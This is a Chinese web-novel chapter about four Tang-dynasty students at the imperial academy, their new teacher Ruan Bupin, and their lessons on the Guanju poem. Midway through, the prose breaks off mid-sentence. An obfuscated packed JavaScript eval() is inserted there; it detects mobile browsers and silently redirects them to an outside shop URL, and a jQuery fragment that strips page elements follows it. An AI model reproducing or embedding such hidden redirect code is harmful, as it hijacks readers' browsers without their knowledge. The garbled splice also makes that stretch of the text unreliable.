天宝二年，正月。
正月初十，长安城还没从年节里缓过劲来。街上的爆竹红纸没扫净，风一卷就贴着青石板打旋。各坊门上贴的桃符新鲜得刺眼，去年的换了，今年的画着神荼郁垒，怒目圆睁，瞪着每一个过路的人。
裴怀瑾骑着马过朱雀大街的时候，觉得这桃符画得也太凶了。
不知道的还以为不是过年，是过门神节。
马鞍是他哥怀琰去年入学时换给他的那一副，大半年过去了，皮面蹭出了温润的光泽，不是新的那种亮，是旧的那种柔。怀瑾低头看了一眼，勒了勒缰绳，马放慢步子，在国子监门前停了下来。
门口已经有人了。
不是别人，是陆明远。
明远站在一棵半枯的槐树下，抱着两本书、一个包袱，站得笔直，好像他不是来报到的，是来迎接春天的。但正月里的长安哪有春天，风刮在脸上跟刀片似的。
"你什么时候到的？"怀瑾翻身下马，把缰绳交给门子。
"卯时初。"明远说。
"...卯时初？今天报到辰时才开始。你就站在这风口里等了半个时辰？"
"到了就进去了。"明远顿了一下，"门子说辰时才放人。"
"所以你就站在这等？"
"不然呢？"
怀瑾看了他三秒钟。明远脸上毫无波澜，他真不觉得在大冬天站在风口等半个时辰有什么问题。
"陆明远，"怀瑾伸手拍拍他肩膀，肩膀冻得跟铁板一样，"你知不知道这附近有家胡饼铺子？就隔了一条街。你在这冻成冰块，隔壁就有热乎的羊肉汤。"
明远沉默了一息。
"我不知道。"
怀瑾深深吸了一口气。这个人，把长安舆图背得比坊正还熟、能记得每一条巷子到每一个拐角的距离，但从来没想过给自己找一口热汤。
"行。"怀瑾把包袱往肩上一甩，"明远，这辈子认识你，我大概要多操一半的心。"
明远看了他一眼："你不是说操一半的心是你的职责吗？"
"那是我说的，但你能不能偶尔少制造一点操心的素材？"
"不能。"
"你倒是诚实。"
两人正说着，身后传来轰隆隆的脚步声。
不用回头也知道是谁。
"裴怀瑾！陆明远！你们俩到得够早啊！"
顾长风的声音就像一面铜锣在正月冷风里敲开，方圆半条街的麻雀都被他震飞了。他背上背着一把新弓，手里拎着一个巨大的包袱，跑过来的姿势像是冲锋。扎进两人中间的时候，怀瑾被他撞得往旁边趔趄了一步。
"你包袱里装的什么这么沉？"怀瑾稳住身子。
"吃的！我娘塞的，羊腿、风干牛肉、腌菜、一坛子酱。"长风掰着手指数，"她说国子监的饭菜太素，怕我饿瘦了。"
怀瑾低头看了看长风。过了一个年，他好像又壮了一圈，肩膀宽了，下巴的线条硬了，身上裹着一件新皮袍子，领口露出一截旧护腕，知微去年给他缝的那只，他居然一直戴着。
"你娘觉得你瘦了？"怀瑾难以置信，"你过年吃了多少？"
"一天一只羊。"
"..."
"不是一整只！就是一条腿！一天一条腿！"
"一天一条腿你娘还觉得你瘦？"
"你不懂，"长风一拍肚子，"我娘的标准是，我爹当年在军中的时候，一顿能吃半只羊。"
怀瑾看了看长风，又看了看明远，明远的眼神里写满了"我不参与这个话题"。
"行。"怀瑾摆手，"那你爹是猛将。你是猛将的儿子。你娘对你有合理期待。"
长风没听出他在阴阳怪气，反而很高兴："没错！"
怀瑾决定闭嘴。
门子终于放了人。三人刚要往里走，怀瑾忽然想起什么，回头扫了一眼街面。
"知微还没到？"
明远也回头看。
"他每次都准时。"明远说。
长风把包袱换了个肩膀："会不会路上..."
话音没落，街角拐出一个人。
谢知微走在正月冷风里，步伐不快不慢，肩上挎着一个不大的包袱，跟长风那个巨型炸药包比起来简直像随身带了一本书。他穿了一身新的藏青色圆领袍，袖口露出一截新护腕，不是旧的，不是缝过的，是新的，针脚细密。他今年新做了一双靴子，靴头微微翘起，是陈郡那边老匠人的手艺。
走近了才发现，他脸颊比年前瘦了一点，赶路赶的。从陈郡到长安五百里，他大概只歇了两天。
"知微！"长风挥手，嗓门又震飞一只麻雀。
知微走近，停住，看了看三人，嘴角微微弯了一下，这是他的极限了。对于知微来说，嘴角弯一下就相当于别人扑上去抱了。
"你带了什么？"怀瑾盯着他那个小包袱。
知微打开包袱一角，里面整整齐齐码着几个纸包。
"我娘做的豆沙粽子。"他顿了顿，"放了芝麻油和一点盐。"
怀瑾愣住了。
去年端午，知微说过想吃娘做的豆沙粽子，放了芝麻油和一点盐的那种。怀瑾说好，明年交换。那时候以为只是随口一说，毕竟一年那么长，谁知道第二年的事。
但知微记住了。他赶了五百里路回家，临走又让娘包了一兜豆沙粽子，芝麻油、一点盐。带回来，分给三个人。
"知微，"怀瑾说，"你..."
"进去了。"知微打断他，把包袱重新系好，"外面冷。"
他先走了进去。长风跟上去："什么粽子？我看看。"
怀瑾在原地站了一瞬。
明远从他身边走过，脚步顿了顿："你欠他一个蜜枣粽子。"
"我知道。"
明远看了他一眼，没再说什么，跟了上去。
这一年从豆沙粽子开始。芝麻油，一点盐。
---
今年走进国子监，怀瑾看了一眼甲字三号斋舍的窗户，窗户朝东，对着国子监后院那棵老槐树。去年夏天他们在树下乘凉，树荫遮了半个院子。
长风把巨型包袱往地上一放，开始往外掏东西：羊腿挂墙上（"通风"），牛肉干塞架子（"随时能吃"），酱坛子放墙角（"明远你别偷喝我娘做的酱"）。明远头也不抬："我不喝酱。"
"不是喝不喝的问题，是我提醒过你了。"
"你提醒我一件不可能发生的事。"
"也对。"
怀瑾铺完被子回头看了一眼，长风已经把一面墙变成了食品库。羊腿、牛肉干、酱坛子、一包盐、半口袋干枣。"你娘是不是把厨房清空了？"
"还剩了点。"长风认真想了想，"剩了半只羊。"
知微在角落里整理自己的东西。他的包袱最小，放出来的东西却最多，因为他每一件都叠得整整齐齐，像棋子在棋盘上对号入座。
"知微，你那个，"怀瑾刚要说什么，斋舍门被人从外面推开了。
监丞赵子温站在门口。
半年不见，赵监丞还是那副样子：长脸、尖下巴、嘴角永远往下撇。但怀瑾经历过上次翻墙挨罚的事之后，对他多了一层理解，这个人脸冷，心不冷。
"新学年。"赵监丞扫了一眼房间，"裴怀瑾，你把羊腿挂得太高了，国子监纪律第二十一条，斋舍墙上不得悬挂超过一尺长的物件。"
怀瑾回头看了一眼那条羊腿，少说两尺半。
"学生知错。"
"没收。"
"什么？"
"羊腿没收。期末归还。"
长风一个箭步冲过来："赵监丞，那是我娘给我带的，"
"你娘心疼你，国子监规矩不心疼你。"赵监丞面无表情，"羊腿挂得太高掉下来砸到你自己的脑袋，算你的错还是国子监的错？期末来领。冻在膳房冰窖里，不会坏。"
长风张了张嘴，又闭上。
怀瑾在心里给赵监丞竖了个拇指，没收羊腿但不扣分、不记过、还给冻在冰窖里。这个人是真操心，但他操心的方式跟刀子一样硬。
赵监丞又扫了一圈，目光在知微的铺位上停了一瞬。知微的铺位干净得不像有人住过，被褥棱角分明，包袱捆得跟行军的背包一样紧凑。
"今年比去年多了一门课《诗经》，上午。《尚书》在下午。你们的经学博士换了人，国子监正九品助教阮不评，"
"什么？"长风没听清。
"阮不评。"
"不评？不评什么？"
"姓阮名不评。"赵监丞看了他一眼，"你最好记住这个名字，他脾气比郑博士小，嘴比郑博士毒。"
长风回头看了怀瑾一眼，怀瑾从长风的瞳孔里看到了四个字：完了。
赵监丞走后，四人坐回各自铺位上。怀瑾靠在墙上，长风躺在床上，明远坐在窗边翻一本新书，知微在角落里用一块细砂石磨什么东西，隐约是把小匕首的轮廓。
"新博士。"怀瑾先开口，"不评，这名字有意思。"
明远头也不抬："阮不评，祖籍会稽，开元二十六年明经科及第，历任秘书省校书郎、国子监四门学助教，今年调任国子学。著有《毛诗别裁》三卷，《尚书正义补遗》一卷。"
屋子里安静了。
"你怎么知道的？"怀瑾问。
"过来之前去典籍厅翻了下他的著作。"
"你提前了多久来的？"
"卯时。"
怀瑾闭上了眼睛。陆明远，卯时到国子监门口，被门子拦了半个时辰，站风口冻成冰棍，但他提前查了新博士的著作。这个人脑子里装的东西比国子监典籍厅还全，但从来想不到给自己找个暖和的地方。
"所以阮博士什么路数？"
明远翻了一页书，语气平静得像在读天气报告："据他的著作判断，此人对经义有独立见解，对注疏不盲从。文风简洁，不引经据典自证渊博。偶有讥讽之语，多见于注脚而非正文。"他顿了一下，"换句话说，他会在你不经意的时候，给一刀。"
"跟郑博士比呢？"
"郑博士用戒尺。"明远抬起头，"阮博士用话，话比戒尺疼。"
长风从床上坐起来："你怎么知道话比戒尺疼？"
"因为我被你吵了一年。"明远说。
长风愣了一瞬，然后冲过去要掐明远脖子。怀瑾按住他："别闹，明远说的是实话，你嗓门比戒尺响。"
"裴怀瑾你站哪边，"
"我站明远，他说的也是实话。"
长风气得捶床。知微在角落里抬起头，嘴角又弯了一下，几乎看不出来，但他手里的砂石节奏乱了半拍。
---
第二日。辰时正。
门开了。
阮不评走进来。
这个名字，他爹当初怎么想的，给儿子取名叫不评？但当真人站在讲堂上时，怀瑾理解了。
阮博士不到四十岁，身形清瘦，颧骨突出，胡子修理得比郑博士短一半。他穿的不是国子监博士制式的青袍，是灰袍，旧的那种灰色，洗得发白但平整。他手里没拿戒尺。
他走到讲桌后面，把一沓纸放下，不是教材，不是经义，是一沓策论卷子。
"去年的岁考卷子我看过了。"他开口，声音不响，但每个字都清清楚楚地落在每个人耳朵里，"国子学甲字三号斋舍，四人。甲等一人，乙等上一人，乙等中一人，丙等一人。"
长风缩了缩脖子。
阮博士的目光慢慢扫过屋子里坐着的人，最后停在怀瑾脸上，准确地说，是停在怀瑾旁边风长风的脸上。
"顾长风。"
长风一个激灵站起来："在！"
阮博士看了他一眼，没说话，低头翻了翻手里那沓卷子。翻了三张，停住了。
"'夫孝，始于事亲，中于事君，终于立身。'"他念的是长风岁考策论的句子，怀瑾记得，那是长风用明远教的场景记忆法背下来的，考场上歪歪扭扭写了出来。
"你就写了这一句？"
长风的脸涨红了："...后面还有。"
"后面是空白。"
"...学生尽力了。"
"顾长风，"阮博士说，"你这一年的国子监，读得挺壮烈的。"
屋子里没人敢笑，但几个人的肩膀同时抖了一下。
长风愣在原地。他不知道"壮烈"这个词算夸还是骂。
"你知道你的策论像什么吗？"阮博士继续说，"像一个守城的士兵在城墙上插了一面旗，旗子插得很直，但城墙后面没有军营。"
长风又愣了一瞬。
"您是说我有气势没内容？"
"有悟性。"阮博士点了点头，"坐下。"
长风坐下的时候，整个人都有点恍惚，他刚被夸了还是骂了？
怀瑾在旁边憋笑憋得肚子疼。
阮博士的目光移到了怀瑾身上。
"裴怀瑾。"
"学生在。"怀瑾站起来，做好了准备。他大概知道阮博士会说什么，他的策论写了卷面不整扣分的老毛病，但郑博士给了"若已得其端"的批语。阮博士要说的无非，
"你的策论我看过了，"阮博士说，"卷面不整。"
果然。
"但内容，"阮博士顿了一下，"比卷面有意思得多。"
怀瑾抬头。
"你写的'取士之道不在考法在考心'，这句话本身不值钱。"阮博士语气平淡，"值钱的是你前面铺垫的那三段。前两段讲门第与才华的关系，第三段突然转到'被看见重于被录用'，这个转折，不是经义教出来的。"
怀瑾心跳漏了一拍。那是他在四门学墙上看到陈不安的策论后、在雨夜的墨渍里自己悟出来的，他没跟任何人细说过。
"'被看见'这个提法，"阮博士看着他，"是你自己的，还是在什么地方读到的？"
怀瑾沉默了一息。
"在墙上。"
"什么墙？"
"四门学的墙。"
屋子里有几个人回头看他。四门学的墙，那是寒门子弟贴策论的地方。一个国子学生跑去四门学的墙上看策论，这本身就不寻常。
阮博士看着他，看了三秒钟。
"坐下。"他说。
怀瑾坐下。阮博士没再说他，但那个停顿，比任何批评都有分量。他注意到了。
他收回目光，扫了一眼全班。
"第二学年，《诗经》上午、《尚书》下午。这两门课，今年由我负责。"
他拿起桌上的经义，翻开，没看，是习惯性动作。
"我这个人没什么规矩，唯一的规矩是：你可以有不同的理解，但你得有理解。说'不知道'可以，说'随便'不行。"他扫了一眼长风，"壮烈也不行。"
长风这回没站起来，他直接把头埋进桌子里了。
---
上午。巳时初。《诗经》第一讲。
"《关雎》。"阮博士站在讲堂中央，用指节敲了敲桌面，"去年第一课郑博士讲《孝经》，你们背了一年，应该能倒着写了。今年第一课换《诗经》，理由是，经义让你们学站，诗歌让你们学走。"
他背着手走到窗边。
"'关关雎鸠，在河之洲。窈窕淑女，君子好逑。'"他念完，转过身，"谁来说说，这两句是什么意思？"
底下沉默了一息。
然后明远举手。
"此句以雎鸠喻男女，雎鸠雌雄情感专一，以兴淑女君子之匹配。上句起兴，下句述志。兴而比也。"
"孔颖达注疏背得不错。"阮博士点头，"你自己的理解呢？"
明远顿了一下。
"学生以为，"
"以为什么？"
"这首诗不是讲爱情。"明远说，"是讲秩序。雎鸠有常，雌雄各有其位。淑女与君子也各有其位。匹配合礼，天下乃序。"
阮博士看着他，看了很久。
"陆明远，"他说，"你把《诗经》读成了《周礼》，算不算一种损失？"
明远愣住了。
"经义求秩序，诗歌求性情。"阮博士说，"你用秩序的刀去切性情的菜，刀很好，菜被切成豆腐渣了。你的脑子确实是这四个斋舍里最好的，但你不用它去感受，你用它去分析。"
"感受和分析，不能同时吗？"
"能。"阮博士说，"但你现在只有分析，没有感受。你在考场上是甲等，在诗歌面前，你是丙等。"
明远的指节捏白了。
怀瑾在桌子底下踢了他一脚，轻轻一下，意思是"没事"。
阮博士转回身，扫了一眼其他人。
"还有谁有不同的见解？"
没人举手。
"裴怀瑾。"
怀瑾站起来。
"你对'窈窕淑女'四个字，有什么理解？"
怀瑾想了想。
"学生以为，"
"别'以为'。直接说。"
"'窈窕'不是长相漂亮，"怀瑾说，"是气质柔静。'淑'不是驯服，是内秀。一个女子，气质柔静、内心有东西，这样的女子是'君子好逑'。"
"那'君子'呢？"
怀瑾想了想："能做君子的人，应该能看见淑女身上的'静'和'秀'，不是只看脸，是看内涵。"
"所以君子要有一双好眼睛？"
"不光眼睛。"怀瑾说，"还得有心。"
阮博士盯着他。
"你在说诗歌还是在说做人？"
"差不多。"怀瑾笑了笑，"诗歌说的其实就是怎么做人，只不过是用雎鸠打了个比方。雎鸠找对象都知道看内在，"
话没说完，长风噗嗤一声笑了出来。
他笑得绝对不是时候。
不是因为他的笑点低，是因为怀瑾说"雎鸠找对象"这四个字的时候，表情非常认真，跟讲圣王大义一样严肃。长风脑子里自动浮出了一只雎鸠鸟，站在河边的沙洲上，一本正经地打量对面的母鸟："嗯，气质柔静，内心有东西，好逑。"
然后他就笑出声了。
"顾长风。"阮博士的声音从讲台上传来。
长风的笑声像被掐了脖子，瞬间没了。
"你笑什么？"
"学生...学生觉得裴怀瑾说得有道理。"长风站起来，"就是说...说得太对了，"
"你刚才在笑不是说他说得对，是觉得他好笑。"
长风张了张嘴，没憋出词。
"那你说说。"阮博士走到他面前，"你对'关关雎鸠'有什么理解？"
长风的脸从红变成了紫。
"关关，是鸟叫声。"他艰难地开口，"雎鸠，是一种鸟。在河之洲，在河里的沙洲上，"
"然后呢？"
"...它在叫。"
屋子里有人没憋住，一声短促的"嗤"从角落传来。
长风快哭了。不是因为要被罚，是因为他真说不出更多的了。怀瑾能把"雎鸠找对象"说成一篇做人道理，明远能把《诗经》读成《周礼》，他连鸟叫什么都不知道。
"学生，不知道。"
阮博士看了他三秒钟。
"坐下。"
长风坐下了。这回是真想挖个地洞钻进去。
怀瑾在桌子底下又踢了他一脚，意思是"一会儿再说"。
阮博士走回讲台。
"今天就到这。"他把手里的经义合上，"明天继续《关雎》，我希望明天有人能告诉我，这首诗除了雎鸠和淑女，还写了什么。"
他走到门口，停住了。
"对了，顾长风和裴怀瑾。下课后一人抄《关雎》全文十遍。明天课前交。"
长风抬起头。
"为什么，我抄十遍我认，怀瑾凭什么？"
"因为他说的歪理歪得很有道理，"阮博士回头看了他一眼，"但我考的是正理。你把雎鸠当人，雎鸠同意了吗？"
说完走了。
屋子里沉默了三秒钟。
然后长风趴在桌上，不是哭，是笑。笑得肩膀直抖。
"你被罚了你笑什么？"怀瑾瞪他。
"他说的，雎鸠同意了吗，哈哈哈，"
"你刚才不是想挖地洞吗怎么现在又笑了？"
"反正我习惯了。"长风抬起头，眼角真有泪花，"被郑博士骂了一年，换个博士还是骂我。你知道他说我读得壮烈的时候我什么感觉吗？我觉得他看我的眼神跟我哥看我的眼神一模一样，'你又闯祸了？'"长风的笑容忽然收了一瞬，
"也不是。我哥看我的时候还有一句没说出口的话。阮博士没有那句。"
怀瑾顿了一下，拍了拍他肩膀。
"行了。抄吧。"
"十遍，"
"我抄十遍你抄十遍，晚上一起。"
长风看着他："你抄十遍是因为我笑害了你？"
"是因为我说雎鸠找对象，这东西本来就不能在课堂上说。"怀瑾收拾书匣，"下回我说给明远听。明远不会笑我，他只会写一篇《释雎鸠》纠正我的科学错误。"
明远正在收书，动作停了一下。
"《释雎鸠》已经在写了。"
怀瑾愣了一下，然后从明远书匣边上抽出一张纸。纸上是明远工工整整的字：
"雎鸠，水鸟也。雌雄不双宿，各栖一枝。所谓'情感专一'者，另鸟另枝，不相替换也。非人所谓之爱情，乃鸟所谓之生存策略。"
怀瑾把纸扣回去。
"陆明远，你是真的在写？你是魔鬼吧？"
"科学态度。"明远书匣上肩，面无表情地走了出去。
长风追上去："什么科学态度，你写这个给谁看，给雎鸠看吗？"
"给裴怀瑾看。纠正他的错误认知。"
"你怎么知道他错了？"
"因为他是裴怀瑾，他十句话有八句是歪理。"明远头也不回，"剩下两句是正理，但都是为了给歪理铺路。"
知微最后一个起身，收拾好桌上的砂石和小匕首，刚才阮博士上课的时候他一直在磨，但磨得极轻，连近在咫尺的怀瑾都没听见。他走到怀瑾身边。
"你手腕还疼吗？"知微轻声问。
怀瑾愣住："你怎么知道，"
"岁末抄经那三遍，你最后一遍写到最后握笔的在抖。"知微从袖子里掏出一个纸包，"药膏。我让我娘配的，活血化瘀的。抄经之前涂，抄完再涂一遍。两个人够用。"
怀瑾接过纸包。纸包外面是知微细密的字：早晚各一次。药膏趁热涂。沾水无效。
"你什么时候准备的？"
"过年在家做的。"知微背上包袱，语气好像在说今天的天气，"你去年替长风抄经手腕疼了三天，今年也会有人被罚抄。提前备着不吃亏。"
怀瑾握着那个纸包，纸包的温度很低，但手心一下子就热了。
"知微。"
"嗯？"
"你娘配药膏的方子能给我抄一份吗？"
知微回头看他。
"我以后也用得着。"
知微盯着他看了片
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635610|205690||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刻，怀瑾说"用得着"的时候没笑，没打岔，没讲歪理。他是认真的。
"好。"知微说，"晚上抄经的时候给你。"
他转身走了。怀瑾跟在后面，纸包揣在袖子里，药膏隔着纸散发出一股淡淡的草药味。
不是苦的，是暖的。像是夏天井水放柳树下。像是端午桑蚕丝绕手腕。像是乐游原茱萸别衣襟。
像是有人提前替你准备好了你不知道自己需要的东西。
---
傍晚。
国子监从食堂到斋舍的那条廊道里，挂着去年新换的灯笼，正月里不亮，但灯笼纸还没破。风从廊道尽头灌进来，灯笼轻轻晃了一下。
怀瑾和长风坐在斋舍桌前抄《关雎》。知微的药膏已经涂上了，热乎乎的，手腕的确没那么僵了。长风涂了一半，另一半蹭在了抄经纸上，留下一道浅褐色的印子。
"你完了，"怀瑾看了一眼，"阮博士看了会以为你在抄符咒。"
"我就说是药膏印子，他又不会不信。"
"他会说：'顾长风，你抄经连手都不洗？壮烈。'"
长风手一抖，又多印了一道。
明远坐在窗边，不是在看《诗经》，是在看那本《毛诗别裁》。阮不评的著作。油灯下，他翻书的速度比平时慢，怀瑾扫了一眼，发现他停在同一页已经很久了。
"明远？"
"嗯。"
"你是不是还在想上午的事？"
明远没回答。
怀瑾放下笔，转身面对他。
"阮博士说你没有感受只有分析，这句话你当真了。"
"因为他说的对。"明远合上书，声音不大，"我把《诗经》读成《周礼》，我自己也知道。但我不知道怎么改。"
"你不需要改。"怀瑾说。
明远抬头。
"会分析的人多还是少？"怀瑾问。
"...少。"
"那为什么不把少的东西变成优势？你读诗用分析，读出来的东西跟别人不一样，那不是缺点，是你的角度。阮博士说你不感受，但他没说分析是错的。他只是说，你缺了另一只眼睛。闭着一只不会瞎，睁两只你会看得更清楚。"
明远看着他，看了很久。
"你上午被他训得抄十遍，你现在替他说话？"
"一码归一码。"怀瑾笑了笑，"他说我歪理我对他也服气。能一眼看出我歪在哪的人不多，他是第二个。第一个是你。"
明远的嘴角动了动，不是笑，但接近了。
"我看过你岁考的策论，"明远说，"你写'取士之道不在考法在考心'，这句话不是歪理。"
"那是什么？"
"是十三岁能写出来的东西里，最不歪的一句。"
怀瑾没接话。他低头继续抄，但笔锋比刚才稳了一点。
知微在角落里磨完了那把匕首，不对，不是匕首，是一把裁纸刀。竹柄，铁刃，刃口细窄，像是给某个人定制的。他把刀放在桌上，从自己包袱里抽出一块磨石，换了一块更细的，开始抛光。
"你在做什么？"长风盯着那把裁纸刀，眼睛都直了。
"裁纸刀。"
"给谁的？"
知微没抬头："用得着的人。"
长风看了看怀瑾，又看了看明远。怀瑾在抄经，抄得快而潦草，但他自己那份写得很快，替长风写的那份字迹刻意收敛了。明远在翻《毛诗别裁》，翻到某一页停下，用笔在纸上记了几个字，大概是在跟阮博士的观点对话。
长风忽然笑了一下。很轻，不像他平时的笑，只是嘴角弯了一下。
"你笑什么？"明远头也不抬。
"就觉得，挺好。"长风靠在椅背上，仰头看房梁，"去年正月我学不会写字，六月在课堂上打瞌睡被郑博士点名，岁考策论差点交白卷，现在我抄经能抄十遍了。虽然是被罚的，但至少我能抄出十遍。"
"壮烈。"明远说。
"你又念，"长风反应过来，"不对，壮烈是你跟阮博士学的！你才跟他上了一天课！"
"半天。"明远纠正。
"半天你就学会阴阳我了？"
"观察力。"
长风跳起来要抓他，怀瑾按住长风的肩膀："别闹，你手上有药膏，蹭明远身上明远会写一篇《释药膏》反驳你的物理存在。"
长风重新坐下，但还是不甘心。他指着明远，转头问知微："知微你说，明远是不是越来越毒了？"
知微停下磨刀的手。
"他本来就这样。"知微说，"只是以前不说，现在说了。"
四个人都安静了一瞬。
然后同时笑了，长风笑得最响，怀瑾笑得最久，知微笑得最浅，明远没笑，但他翻书的手顿了一下。
窗户外面，正月里的长安夜空一片漆黑。但油灯在桌上，四盏，一人面前一盏。四团光晕在斋舍墙壁上碰在一起，融成一片模糊的暖橙色。
---
第二天。辰时正。续讲《关雎》。
阮博士走进来的时候，怀瑾和长风已经把十遍抄经放在讲桌上了。长风的那份前面几页还有药膏印子，最后一页字迹忽然工整了起来，因为那部分是怀瑾用知微的描点法帮他写的底稿。怀瑾自己的那份，前三遍字迹工整，后七遍越来越潦草，最后一遍的"窈窕淑女"四个字几乎飞出了纸面。
阮博士一份一份看过去。看到长风的最后一遍，停了。
"最后一遍的字比前几遍好，有人替你描了点。"
长风张嘴想辩解，怀瑾在桌子底下踢了他一脚。长风改口："学生自己描的。用朋友教的方法。"
阮博士看了他一眼。长风屏住了呼吸。
"谁教的？"
"谢知微。"长风说，"也是甲三斋舍的，"
"用手艺教写字，"阮博士把抄经放到一边，"教的人比学的人更有耐心。"
"开始上课。"阮博士走回讲台，翻开经义。
"昨天讲了《关雎》前两句。今天讲后六句。'参差荇菜，左右流之。窈窕淑女，寤寐求之。求之不得，寤寐思服。悠哉悠哉，辗转反侧。'"
他放下经义。
"这六句在说什么？"
明远举手。
"讲追求的过程。采荇菜，左右寻找；求淑女，日夜思念。求之不得，辗转反侧。"
"还有呢？"
"追求的过程比结果重要。'求之不得'不是重点，'寤寐求之'才是。日也求夜也求，这个过程本身就是'君子'的证明。"
阮博士沉默了两秒钟。
"陆明远，你今天又多了一只眼睛。"
明远愣了一下。
"你昨天说秩序，今天说过程。你用分析的思路走到了感受的门口。"阮博士点头，"进去。不要一直站在门外。"
明远的指节放松了。
怀瑾在桌子底下踢了他两下，这次不是"等下再说"，是"好样的"。
阮博士转向长风。
"顾长风。你说说，'悠哉悠哉'是什么意思？"
长风站起来，整个人都僵了，他今天没有预备答案，也没有描点底稿。他唯一记得的是昨天阮博士说他的策论"壮烈"。
"悠哉悠哉，"他深吸了一口气，"是很长的意思？"
"什么很长？"
"夜很长。"长风说，"因为他睡不着。想一个人，想到睡不着。夜就很长。"
阮博士看着他。
"然后呢？"
"然后就是，天亮。"长风说，"睡不着也得天亮。天亮了还得去采荇菜。采了荇菜还得回去想那个人。想了白天想黑夜，反正就是没完。"
阮博士盯着他看了五秒钟。
长风被他盯得汗都要下来了。
"顾长风。"阮博士说，"你今天，不壮烈。"
长风愣住。
"你说的不是经义，是你自己的感觉。夜很长。睡不着也得天亮。天亮了还得采荇菜，"阮博士顿了一下，"你昨天说的全是错的。但今天，全都对。坐下。"
长风坐下了，坐下去的时候觉得自己飘了一下。
怀瑾在桌子底下踢了他三下。
长风低头看了一眼怀瑾的脚，然后用口型说了三个字：别踢了。
---
下课后，四人走在回斋舍的廊道上。长风还在回味阮博士那句"全都对，"你听他说了没有？他说'全都对'，阮不评说全都对。这可是个叫不评的人，他说对就是真的对。"
"你激动得跟中了状元一样。"怀瑾笑。
"你懂什么，我考了一年，从来没被人说过'全都对'。"长风把弓往肩上一甩，"今天回去我要给我娘写信，就说我被博士夸了。"
"你娘会问：'夸你什么？'"明远说。
"夸我，壮烈的反面。"
"壮烈的反面是什么？"
"不壮烈。"长风想了很久才想出这个词，然后自己点了点头，"嗯，不壮烈。"
怀瑾没接话。他走着走着，脚步慢了下来，因为看见知微走在最前面，步子比平时快一点。
"知微？"
"嗯。"
"你走那么快干嘛？"
知微没回头。
"回去磨刀。"
"你磨了一整天了，"
"还没好。"知微走进斋舍，头也没回。怀瑾跟进去的时候，看见桌上那把裁纸刀已经抛得锃亮，竹柄上刻了一行极小极小的小字。怀瑾凑近了看。
关关雎鸠。在河之洲。
怀瑾愣住了。
"给谁的？"怀瑾问。
知微把手里的磨石搁下，用袖子把刀身最后一抹灰擦掉，刀身亮得能照出怀瑾瞪大了的眼睛。
"没想好。"知微说。
他把刀放回桌上。刀柄朝外，竹面上的字在下午的日光里微微闪着光：关关雎鸠。在河之洲。
怀瑾看了那把刀很久，然后拿起桌上的药膏，打开盖子，重新涂了一遍手腕。
窗外，甲字三号斋舍正对着那棵老槐树。冬末的槐枝光秃秃的，枝桠伸向灰蓝色的天空，像一个倒扣的手掌。再过几个月，天宝二年的春天就要来了。槐树会重新发芽，四个人会在这间斋舍里迎来第二个春天。
怀瑾把药膏盖子拧紧。手腕上那根端午系的长命缕已经褪色褪得只剩一丝蓝，但他还留着。等端午到了，他会让知微再系一根新的。系完了再过暑假。暑假完了再过秋天。秋天完了再过冬至。冬至完了还有一个岁末，有抄经、有药膏、有屋顶看灯火。
长风在墙上挂弓，羊腿虽然被没收了，但弓挂得正正好好一尺长。明远在窗边翻开《毛诗别裁》，他拿了两只笔，一只写分析，一只写感受。知微把裁纸刀放到抽屉里，关上抽屉之前又看了一眼刀柄上的字，嘴角弯了一下。
怀瑾靠着墙，仰头看房梁。
房梁上有一只蜘蛛，去年就有。去年秋天他罚抄经时抬头看到过。蜘蛛还在。一年的丝，绕了一层又一层。
"你们说，"怀瑾开口。
三个人同时抬头。
"这只蜘蛛，"
"不收钱。"长风抢答。
"不喝酱。"明远说。
"不壮烈。"知微最后说。
怀瑾大笑。
笑声从甲字三号斋舍的窗户飘出去，飘过老槐树的枯枝，飘过绳愆厅空无一人的廊道，飘过国子监正堂合上的《关雎》课本，落在长安城的正月里。风一吹，就散进了千万家的烟火气中。
天宝二年的春天，要来了。